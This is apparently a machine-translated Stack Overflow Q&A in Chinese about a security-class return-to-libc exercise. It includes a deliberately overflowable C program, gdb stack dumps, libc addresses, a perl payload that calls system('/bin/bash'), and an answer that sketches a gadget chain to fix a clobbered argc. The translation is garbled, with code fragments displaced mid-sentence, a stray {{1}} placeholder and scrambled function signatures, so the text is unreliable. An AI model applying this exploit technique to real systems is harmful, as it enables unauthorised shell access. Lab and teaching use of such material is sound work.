我需要在is_virus()
上对安全类执行libc攻击。目标是溢出traffic[]
并覆盖is_virus()
的返回地址,以便它返回到libc函数system()
以打开shell。现在我花了好几个小时才开始工作。
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <time.h>
#include <ctype.h>
char *signatures[] = {"sys_open_ports", "sys_module", "write_binaries",
"sys_binaries"};
int is_virus(int argc, char ** argv)
{
char traffic[44];
int i, j, k, len;
traffic[0] = 0;
for (i = 1; i < argc; ++i)
strcat(traffic, argv[i]);
for (j = 0; j < 4; ++j) {
len = strlen(signatures[j]);
for (i = 0; i < (int)strlen(traffic); ++i)
if (strncmp(signatures[j], traffic+i, len) == 0)
return 1;
}
return 0;
}
int main(int argc, char ** argv)
{
if (argc < 2) {
system("echo 'usage: target3 network_traffic_packets'");
exit(1);
}
if (is_virus(argc, argv))
printf("Alarm! virus founded\n");
else
printf("safe.\n");
return 0;
}
现在我开始找到system()
,exit()
和字符串/bin/bash
的地址。
我发现这些是......
system()= 0x40071584
exit()= 0x400533a4
“/ bin / bash”= 0xbffffefb这是在环境变量中发现的
根据我的理解,is_virus()
的返回地址需要替换为system()
的地址,后跟exit()
的地址,然后是地址{{1} }}。接下来,我通过在gdb中反汇编/bin/bash
来找到is_virus()
的返回地址。
main
因此...
0x804868b <main+43>: pushl 0xc(%ebp)
0x804868e <main+46>: pushl 0x8(%ebp)
0x8048691 <main+49>: call 0x8048570 <is_virus>
0x8048696 <main+54>: add $0x10,%esp
0x8048699 <main+57>: mov %eax,%eax
...
应返回地址0x8048696。我用它来确定我需要多少填充。在堆栈指针后不久看内存......
is_virus()
我们可以看到返回地址是0xbffffab2。现在玩'A',我发现60个字节就在我的地址之前。
所以我用所有信息构建了输入
./ target3 $(perl -e'print“AAAA”x15,“\ x84 \ x15 \ x07 \ x40”,“\ xa4 \ x33 \ x05 \ x40”,“\ xfb \ xfe \ xff \ xbf” “)
查看Breakpoint 1, is_virus (argc=2, argv=0xbffffb34) at target3.c:15
15 traffic[0] = 0;
(gdb) x/32xw $esp
0xbffffa60: 0xbffffaa0 0x4000d2b6 0x40016b34 0x40021298
0xbffffa70: 0x00000001 0x00000000 0x40021000 0x400212b8
0xbffffa80: 0xbffffac0 0x4000d2b6 0x08049840 0x080482cb
0xbffffa90: 0x4002d164 0x40158154 0x400168e4 0x4013d12e
0xbffffaa0: 0xbffffad8 0x4000d450 0xbffffac8 0x08048696
0xbffffab0: 0x00000002 0xbffffb34 0xbffffad8 0x08048551
0xbffffac0: 0x08049820 0x08049934 0xbffffb08 0x4003e507
0xbffffad0: 0x00000002 0xbffffb34 0xbffffb40 0x080483b2
之后的数据看起来是正确的。
strcpy()
但问题是(gdb) x/32xw $esp
0xbffffa20: 0xbffffa60 0x4000d2b6 0x40016b34 0x00000001
0xbffffa30: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffa40: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffa50: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffa60: 0x41414141 0x41414141 0x41414141 0x40071584
0xbffffa70: 0x400533a4 0xbffffefb 0xbffffa00 0x08048551
0xbffffa80: 0x08049820 0x08049934 0xbffffac8 0x4003e507
0xbffffa90: 0x00000002 0xbffffaf4 0xbffffb00 0x080483b2
地址会覆盖存储exit()
值的位置,导致第一个循环执行多次并崩溃。我已经尝试将此值更改为0xFFFFFFFF并忘记了清除退出,但是当函数argc
尝试返回时,我收到错误
无法访问地址0xffffffff
的内存
任何帮助将不胜感激!
答案 0 :(得分:1)
正如我在评论中提到的,第一个堆栈视图显示0xbffffaac
的返回地址,而不是0xbffffab2
。但这并不重要,因为你通过实验发现了正确的填充。顺便说一句,如果通过./target3 ABC
运行for
并在is_virus(...)
的第二个"ABC"
进行转换,可能会有助于更有效地定位您的攻击,那么您就可以准确了解traffic
所在的位置进入system()
缓冲区。
libc中也没有exit()
这样的东西。它是int system(const char *cmd);
(根据链接),而add esp,12
是void exit(int exit_code);
,至少将“...”放入括号中,因此读者无需考虑是否真的void参数调用,或者只是缩短形式。
免责声明:这个答案中的任何asm都是英特尔语法,因为我不能打扰AT&amp; T,但由于答案中没有任何严重的代码,所以它应该不重要,像{ {1}} vs addl $12,%esp
希望很容易理解。
所以以模仿的方式“返回libc到system(...)”:
{
system("/bin/bash");
exit(<anything>);
}
你希望堆叠你试图放在那里的东西:
0x40071584 ; system() address to return to
0x400533a4 ; exit() address as new return for system()
0xbffffefb ; "/bin/bash" string (and "return" for exit())
<anything> ; exit code for exit()
到目前为止,非常好。
正如您所知,您的问题是,0x400533a4
exit()
地址充当新的argc
值,破坏了第一次循环的运行。
那么如何构建这样的堆栈:
<magic>
<neg_value> ; any negative value to be used as new argc
0x40071584 ; system() address to return to
0x400533a4 ; exit() address as new return for system()
0xbffffefb ; "/bin/bash" string (and "return" for exit())
<anything> ; exit code for exit()
<magic>
是libc代码的地址,它将有效地执行:
add esp,4 ; or "pop anything"
ret
在我的机器上将静态链接的libc放到你的示例C文件中,我可以在system()
入口点附近看到这个机器码(没有费心去搜索完全匹配):
<system()+0x27>:
add esp,12
movzx eax,al
ret
看起来“足够好”让我受到虐待。通过添加一些填充并从我的新返回地址开始,如:
<system+0x27> ; add esp,12 + ret
<neg_value> ; any negative value to be used as new argc
<junk1> ; to make 12 bytes junk in stack
<junk2> ; to make 12 bytes junk in stack
0x40071584 ; system() address to return to
0x400533a4 ; exit() address as new return for system()
0xbffffefb ; "/bin/bash" string (and "return" for exit())
<anything> ; exit code for exit()
我想我会实现你想要的调用序列(或者更确切地说是“ret sequence”:)。
没有验证,因为我无法以如此简单的方式编译原始C以使堆栈溢出工作+具有静态libc地址,在我的主系统上它增加了大量的周围+堆栈检查(其中我设法关闭了,但我仍然有完全不同的libc函数和堆栈地址,不像你的值。)
但是我认为这是真正适用于“返回”类型的攻击有效载荷构建的方法,所以它应该让你知道如何继续进行。 GL,HF。 :)